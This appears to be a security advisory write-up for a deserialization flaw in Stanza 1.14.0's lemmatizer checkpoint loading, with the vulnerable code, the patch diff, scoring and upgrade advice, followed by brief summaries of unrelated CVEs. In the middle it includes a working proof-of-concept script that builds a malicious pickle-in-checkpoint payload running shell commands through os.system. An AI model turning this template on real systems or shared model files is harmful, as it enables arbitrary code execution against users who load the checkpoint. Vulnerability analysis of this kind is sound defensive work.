Nov 3, 2026·9 min read·3 visits
Stanza 1.14.0 stores lemmatizer part-of-speech dictionaries as gzip-compressed pickle byte streams inside PyTorch checkpoints. PyTorch's weights_only=True parameter permits raw bytes primitives without inspection, and Stanza subsequently passes these decompressed bytes to an unrestricted pickle.loads() call, allowing arbitrary code execution during pipeline initialization.
CVE-2026-115878 (GHSA-gh9r-c94j-cmp5) is an arbitrary code execution vulnerability in the Stanford NLP Stanza Python library affecting version 1.14.0. The flaw originates from insecure deserialization of untrusted data (CWE-502) within the lemmatizer model loading pipeline in stanza/models/lemma/trainer.py. While Stanza utilizes PyTorch's weights_only=True flag during outer checkpoint loading, it embeds a gzip-compressed pickle byte stream inside the checkpoint dictionary. Because PyTorch treats raw bytes objects as safe primitives, the nested payload bypasses the outer allowlist and is subsequently passed to an unrestricted pickle.loads() call, enabling arbitrary code execution when loading a malicious model.
Stanford NLP Stanza is a Python natural language processing library used for tokenization, sentence segmentation, named entity recognition (NER), part-of-speech (POS) tagging, and lemmatization across multiple languages. To perform inference, Stanza constructs processing pipelines that load serialized PyTorch model checkpoints from local storage or remote model registries.
In version 1.14.0, Stanza modified the internal storage format of the lemmatizer processor (stanza/models/lemma/trainer.py) to optimize how part-of-speech dictionary mappings (pos_dict) are stored within .pt checkpoint files. The library introduced a serialization helper that converts pos_dict into a Python pickle stream, compresses it with gzip, and stores the resulting raw bytes object under the dicts key of the checkpoint dictionary.
This architectural decision introduces a Deserialization of Untrusted Data vulnerability (CWE-502) that bypasses PyTorch's secure loading mechanism. Although Stanza invokes torch.load(..., weights_only=True) to restrict unpickling at the top-level checkpoint boundary, the inner compressed byte stream is ignored by PyTorch's type allowlist and passed directly to an unrestricted pickle.loads() call during model initialization.
Consequently, any application or user initializing a Stanza pipeline with an untrusted or attacker-modified lemmatizer checkpoint (lemma_model_path) will execute arbitrary Python code and operating system commands under the privileges of the executing process before any text inference takes place.
The root cause of CVE-2026-115878 is a trust boundary violation caused by two-stage deserialization. Modern PyTorch versions provide the weights_only=True parameter in torch.load() to prevent arbitrary code execution during checkpoint deserialization. When enabled, PyTorch replaces the standard Python unpickler with a restricted unpickler that only permits primitive Python data types, standard tensor storage classes, and explicitly whitelisted functions.
In Stanza 1.14.0, the lemmatizer checkpoint format version 2 (_DICTS_VERSION_POS = 2) serializes the pos_dict dictionary into a compressed binary blob before passing the overarching dictionary to torch.save(). From the perspective of the outer torch.load(..., weights_only=True) call, the value stored at checkpoint['dicts'] is simply a primitive Python bytes object. Because bytes cannot execute code on its own, PyTorch's restricted unpickler treats it as safe and loads it into memory without inspecting its internal contents.
Once torch.load() returns the outer dictionary to Trainer.load() in stanza/models/lemma/trainer.py, Stanza inspects the dicts_version key. When dicts_version equals 2, Stanza invokes the helper function _unpack_pos_dict(checkpoint['dicts']). This function wraps the raw bytes in an io.BytesIO buffer, decompresses the stream via gzip.GzipFile, and passes the resulting byte array directly to Python's standard pickle.loads() function.
Because the standard pickle.loads() implementation implements a stack-based virtual machine capable of importing arbitrary modules and invoking callables via the __reduce__ special method, the protection offered by weights_only=True is completely negated. Furthermore, while Stanza verifies SHA-256 checksums when downloading default models from the official Stanford registry, no integrity or cryptographic verification is performed when loading checkpoints specified via local paths or custom model registries.
In Stanza 1.14.0, the vulnerable code paths reside in stanza/models/lemma/trainer.py. During model saving, _pack_pos_dict serializes the dictionary using pickle.dumps with protocol 4 and compresses it. During model loading, Trainer.load retrieves the checkpoint and delegates decompression and unpickling to _unpack_pos_dict.
# Vulnerable implementation in stanza/models/lemma/trainer.py (v1.14.0)
_DICTS_VERSION_LEGACY = 1 # old (word_dict, composite_dict) tuple
_DICTS_VERSION_POS = 2 # new {pos: {word: lemma}}, gzip-pickled bytes
def _pack_pos_dict(pos_dict):
"""Serialize pos_dict to gzip-compressed pickle bytes for storage."""
raw = pickle.dumps(pos_dict, protocol=4)
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
gz.write(raw)
return buf.getvalue()
def _unpack_pos_dict(data):
"""Deserialize pos_dict from gzip-compressed pickle bytes."""
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
# VULNERABILITY: Unrestricted deserialization of inner byte stream
return pickle.loads(raw)When Trainer.load() is invoked during pipeline setup, the code executes the following sequence:
# Vulnerable loading logic in Trainer.load (v1.14.0)
def load(self, filename, args, foundation_cache, lemma_classifier_args=None):
# Outer load uses weights_only=True, which passes raw bytes through uninspected
checkpoint = torch.load(filename, lambda storage, loc: storage, weights_only=True)
...
dicts_version = checkpoint.get('dicts_version', _DICTS_VERSION_LEGACY)
if dicts_version == _DICTS_VERSION_POS:
# Triggers unrestricted pickle.loads()
self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])In commit b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0 (released in Stanza 1.15.0), the maintainers remediated the vulnerability by replacing pickle with orjson, a data-only JSON serialization library implemented in Rust. The patch also deprecates version 2 checkpoints and bumps the format identifier to version 3 (_DICTS_VERSION_POS = 3).
--- a/stanza/models/lemma/trainer.py
+++ b/stanza/models/lemma/trainer.py
@@ -30,8 +30,12 @@
_POS_INDEPENDENT = "*"
# Version tag stored in the checkpoint to distinguish dict formats
-_DICTS_VERSION_LEGACY = 1 # old (word_dict, composite_dict) tuple
-_DICTS_VERSION_POS = 2 # new {pos: {word: lemma}}, gzip-pickled bytes
+_DICTS_VERSION_LEGACY = 1 # old (word_dict, composite_dict) tuple
+_DICTS_VERSION_POS_PICKLE = 2 # new {pos: {word: lemma}}, gzip+pickle bytes (security hole, replaced by v3)
+_DICTS_VERSION_POS = 3 # new {pos: {word: lemma}}, gzip+json bytes
+
+import orjson
def _pack_pos_dict(pos_dict):
- """Serialize pos_dict to gzip-compressed pickle bytes for storage."""
- raw = pickle.dumps(pos_dict, protocol=4)
+ """Serialize pos_dict to gzip-compressed JSON bytes for storage."""
+ raw = orjson.dumps(pos_dict)
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
gz.write(raw)
@@ -52,11 +56,12 @@ def _pack_pos_dict(pos_dict):
def _unpack_pos_dict(data):
- """Deserialize pos_dict from gzip-compressed pickle bytes."""
+ """Deserialize pos_dict from gzip-compressed JSON bytes (v3 format)."""
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
- return pickle.loads(raw)
+ return orjson.loads(raw)
@@ -376,6 +381,12 @@ def load(self, filename, args, foundation_cache, lemma_classifier_args=None):
dicts_version = checkpoint.get('dicts_version', _DICTS_VERSION_LEGACY)
if dicts_version == _DICTS_VERSION_POS:
self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])
+ elif dicts_version == _DICTS_VERSION_POS_PICKLE:
+ raise ValueError(
+ f"Lemmatizer model {filename!r} uses a pickle-based dict format (v2) "
+ "that is no longer supported for security reasons. "
+ "Please re-download the model or run convert_lemma_dict.py to upgrade it to v3."
+ )
else:
# legacy format: (word_dict, composite_dict) tupleThe fix is complete for this code path. By replacing pickle.loads() with orjson.loads() and explicitly raising a ValueError whenever a version 2 checkpoint (_DICTS_VERSION_POS_PICKLE = 2) is encountered, Stanza eliminates the ability to instantiate arbitrary Python objects during lemmatizer initialization. As noted in the advisory, this was the only bare pickle.loads call in the codebase.
Exploiting CVE-2026-115878 requires an attacker to supply a crafted .pt lemmatizer checkpoint file and induce a target application or user running Stanza 1.14.0 to load it. No authentication or elevated privileges are required, though user or application interaction is necessary to specify the untrusted model file path.
In standard usage, the vulnerable code path is reachable directly through the high-level stanza.Pipeline API whenever the lemma processor is active and lemma_model_path points to the attacker-controlled file:
import stanza
# Triggers Trainer.load() -> _unpack_pos_dict() during pipeline construction
nlp = stanza.Pipeline(
lang="en",
processors="tokenize,pos,lemma",
lemma_model_path="/path/to/evil_lemma.pt"
)To construct a weaponized checkpoint, an attacker defines a Python class implementing the __reduce__ method returning a callable and its arguments, such as (os.system, (cmd,)). The attacker serializes an instance of this class with pickle.dumps(), compresses the output using gzip, and places the resulting bytes into a dictionary alongside "dicts_version": 2. Saving this dictionary with torch.save() yields a valid PyTorch checkpoint that passes torch.load(..., weights_only=True) without raising any warnings or exceptions.
import gzip
import io
import os
import pickle
import tempfile
import torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS
MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")
class Payload:
def __reduce__(self):
cmd = f"id > {MARKER} 2>&1; echo executed_by=$(whoami) >> {MARKER}"
return (os.system, (cmd,))
# 1. Serialize malicious payload and compress with gzip
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:
gz.write(pickle.dumps(Payload(), protocol=4))
# 2. Package checkpoint with dicts_version == 2 (_DICTS_VERSION_POS in 1.14.0)
ckpt = {
"dicts": buf.getvalue(),
"dicts_version": _DICTS_VERSION_POS
}
pt_path = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt_path, _use_new_zipfile_serialization=False)
# 3. Outer torch.load with weights_only=True succeeds without warning
loaded = torch.load(pt_path, lambda s, l: s, weights_only=True)
# 4. Unpacking triggers command execution
_unpack_pos_dict(loaded["dicts"])> [!NOTE]
> Because LemmaProcessor._set_up_model() instantiates Trainer and calls Trainer.load() during pipeline initialization, arbitrary code execution occurs immediately upon calling stanza.Pipeline(...), prior to passing any input text for inference.
The vulnerability carries a CVSS v3.1 base score of 7.8 (High) with the vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. The attack vector is classified as Local (AV:L) with User Interaction Required (UI:R) because the target environment must load a model file provided by an external party or retrieved from an untrusted repository.
In machine learning workflows, sharing fine-tuned or language-specific models via public hubs, shared network drives, or custom model registries is routine. Developers and data scientists frequently assume that libraries utilizing torch.load(..., weights_only=True) are immune to pickle-based code execution when evaluating third-party .pt checkpoints. CVE-2026-115878 subverts this expectation, turning routine model evaluation into an immediate code execution vector.
If a web service, API backend, or automated ML pipeline running Stanza 1.14.0 allows users to upload custom lemmatizer models or dynamically specify lemma_model_path parameters via API requests, the vulnerability can be exploited remotely over the network without authentication.
Successful exploitation grants the attacker full code execution capabilities within the security context of the Python process (S:U). This results in total compromise of Confidentiality (C:H), Integrity (I:H), and Availability (A:H) for all data, credentials, environment variables, and files accessible to the service account or user running Stanza.
Users and administrators utilizing the stanza library must upgrade to version 1.15.0 or later immediately. Version 1.15.0 replaces pickle serialization in the lemmatizer with orjson and blocks the loading of version 2 pickle-based lemmatizer checkpoints.
pip install --upgrade "stanza>=1.15.0"After upgrading to Stanza 1.15.0, any existing lemmatizer models trained or downloaded using Stanza 1.14.0 (which use _DICTS_VERSION_POS_PICKLE = 2) will fail to load and will raise a ValueError. Users must either re-download updated models from the official Stanford NLP model registry or convert trusted local v2 models to the v3 JSON format using the provided migration script (stanza/utils/lemma/convert_lemma_dict.py).
> [!WARNING]
> Do not run convert_lemma_dict.py on untrusted or third-party v2 model checkpoints, as converting a v2 checkpoint requires unpickling its existing pos_dict stream.
If an immediate upgrade from version 1.14.0 is not possible, organizations must enforce strict controls over model provenance. Do not load checkpoints from untrusted sources, and ensure application code never passes user-influenced file paths to lemma_model_path or custom model registries. Additionally, verify that any pre-existing checkpoints match the official SHA-256 hashes published by Stanford NLP before initializing pipelines.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
stanza stanfordnlp | >= 1.14.0, < 1.15.0 | 1.15.0 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-115878 (GHSA-gh9r-c94j-cmp5) |
| Vulnerability Class | CWE-502: Deserialization of Untrusted Data |
| CVSS v3.1 Score | 7.8 HIGH (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) |
| Affected Component | stanza/models/lemma/trainer.py (_unpack_pos_dict) |
| Affected Versions | stanza 1.14.0 |
| Patched Version | stanza 1.15.0 |
| Exploit Status | Public Proof-of-Concept (PoC) Available |
| CISA KEV Status | Not Listed |
The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing attackers to instantiate arbitrary objects and execute arbitrary code.
A code injection and SQL injection vulnerability exists in @enspirit/elo prior to version 1.0.1. When compiling expressions via the programmatic Abstract Syntax Tree (AST) API, the backend emitters for JavaScript, Ruby, Python, and PostgreSQL SQL fail to perform runtime type validation or lexical verification on AST node properties. Applications that construct or deserialize AST nodes from untrusted sources allow attackers to inject arbitrary code or SQL commands directly into the emitted target output.
CVE-2026-44266 (GHSA-7w38-ggh5-v542) is a code injection vulnerability in @enspirit/elo prior to version 1.0.1. The Ruby target compiler fails to escape the hash character (#) when emitting double-quoted Ruby string literals and subtype constraint failure labels. An attacker who supplies crafted Elo expressions to an application compiling and executing Ruby output achieves arbitrary code execution.
CVE-2026-44267 is a sandbox escape and code injection vulnerability in @enspirit/elo prior to version 1.0.1. Due to unrestricted member access transformation in the compiler pipeline, plain Elo expression strings can traverse JavaScript object prototypes via .constructor.constructor to access the host runtime Function constructor. This allows attackers supplying untrusted Elo expressions to execute arbitrary JavaScript in Node.js server environments or client browser contexts.
CVE-2026-62374 (GHSA-f9j6-8p6x-r9j6) is a verification bypass vulnerability in the OpenWallet Foundation SD JWT JS library (@sd-jwt/core and @sd-jwt/decode versions 0.19.0 and earlier). Due to permissive UTF-8 decoding and the omission of mandatory reference checks during presentation verification, tampered or unreferenced disclosures are silently dropped rather than rejected. This deviates from RFC 9901 §7.1 requirements and allows attackers to execute silent claim-set reduction attacks against relying parties.
An interpretation conflict in Bytebase DBHub (< 0.22.6) allows attackers to bypass read-only SQL query restrictions when connected to MySQL or MariaDB instances. Because DBHub's custom SQL tokenizer treats any '--' sequence as a comment, whereas MySQL and MariaDB require trailing whitespace or a control character, crafted queries containing '--' immediately followed by non-whitespace characters allow stacked destructive SQL statements to execute on connections configured as read-only.
CVE-2026-118777 is a prototype pollution vulnerability (CWE-1321) in the Forge JavaScript cryptography and networking library (distributed on npm as node-forge) prior to version 1.4.1. The flaw resides in the forge.http client subsystem, where incoming HTTP cookie names and paths parsed from Set-Cookie response headers are stored directly into standard JavaScript objects without key validation or property isolation. By returning crafted Set-Cookie headers containing keys such as __proto__ or constructor, a malicious HTTP server can inject arbitrary properties into Object.prototype, attach attributes to the global Object constructor, or delete built-in prototype methods to cause an application-wide denial of service.